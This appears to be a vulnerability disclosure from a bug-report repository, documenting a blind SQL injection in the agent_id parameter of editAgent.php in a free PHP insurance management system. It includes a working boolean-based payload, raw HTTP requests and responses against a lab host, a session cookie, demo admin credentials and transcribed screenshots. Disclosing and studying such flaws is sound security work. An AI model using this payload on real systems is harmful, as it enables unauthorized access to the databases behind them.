

main

...

bug_report / vendors / itsourcecode.com / insurance-management-system / SQLi-3.md



debug601 Update SQLi-3.md

History

1 contributor

41 lines (25 sloc) | 1.5 KB

...

Insurance Management System v1.0 by oretnom23 has SQL injection

Author: k0xx

vendors: <https://itsourcecode.com/free-projects/php-project/insurance-management-system-project-in-php-free-download/>

Login account: ahmed/12345 (Super Admin account)

Vulnerability File: /insurance/editAgent.php?agent_id=

Vulnerability location: /insurance/editAgent.php?agent_id=,agent_id

[+] Payload: /insurance/editAgent.php?

agent_id=1610%27%20and%20length(database())%20=4%20--+ // Leak place --->
agent_id

Current database name: lims,length is 4

```
GET /insurance/editAgent.php?agent_id=1610%27%20and%20length(database())%20=4%20--+
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=tmbv0mt5ff9hphhe0mtv4sghfq
Connection: close

When length (database ()) = 3, Content-Length: 4385

The screenshot shows the raw HTTP response in a browser's developer tools. The request is a GET to `/insurance/editAgent.php?agent_id=1610%27%20and%20length(database())%20=3%20--+`. The response is an HTTP/1.1 200 OK from Apache/2.4.48 (win64). The Content-Length is 4385. The response body starts with `<!DOCTYPE html>` and `<html>` tags.

The screenshot shows a web application interface. The top navigation bar is blue with a red alert icon. The left sidebar is green with a user profile and a menu with 'CLIENTS', 'AGENTS', and 'POLICY'. The main content area is titled 'AGENTS INFORMATION' and has an 'Add Agent' button. Below this is a form for 'AGENT ID' with the value '1610' and length(database()) =3 --'. There is a green 'UPDATE' button and a 'Delete Agent' link.

When length (database ()) = 4, Content-Length: 4893

```
GET
/insurance/editAgent.php?agent_id=1610
%27%20and%20length(database())%20=4%2
0--+ HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT
10.0; WOW64; rv:46.0) Gecko/20100101
Firefox/46.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie:
PHPSESSID=tmbvOmt5ff9hphheOmtv4sghfq
Connection: close
```

```
HTTP/1.1 200 OK
Date: Sun, 01 May 2022 12:12:19 GMT
Server: Apache/2.4.48 (win64)
OpenSSL/1.1.1k PHP/8.0.7
X-Powered-By: PHP/8.0.7
Expires: Thu, 19 Nov 1981 08:52:00
GMT
Cache-Control: no-store, no-cache,
must-revalidate
Pragma: no-cache
Content-Length: 4893
Connection: close
Content-Type: text/html;
charset=UTF-8

<!DOCTYPE html>

<html>
<head>
```

SQL BASICS* UNION BASED* ERROR/DOUBLE QUERY* TOOLS* WAF BYPASS* ENCODING* HTML* ENCRYPTION* OTHER* XSS* LFI*

Load URL

Split URL

Execute

http://192.168.1.19/insurance/editAgent.php?agent_id=1610' and length(database())=4 --+

☐ Post data

☐ Referrer

☒ 0xHEX

☒ %URL


☒ BASE64

Insert string to replace

Insert replacing string

☒ Replace All

LIFE INSURANCE



welcome, ahmed

CLIENTS

AGENTS

POLICY

AGENTS INFORMATION

AGENT ID

1610' and length(database())=4 --

PASSWORD

1610

NAME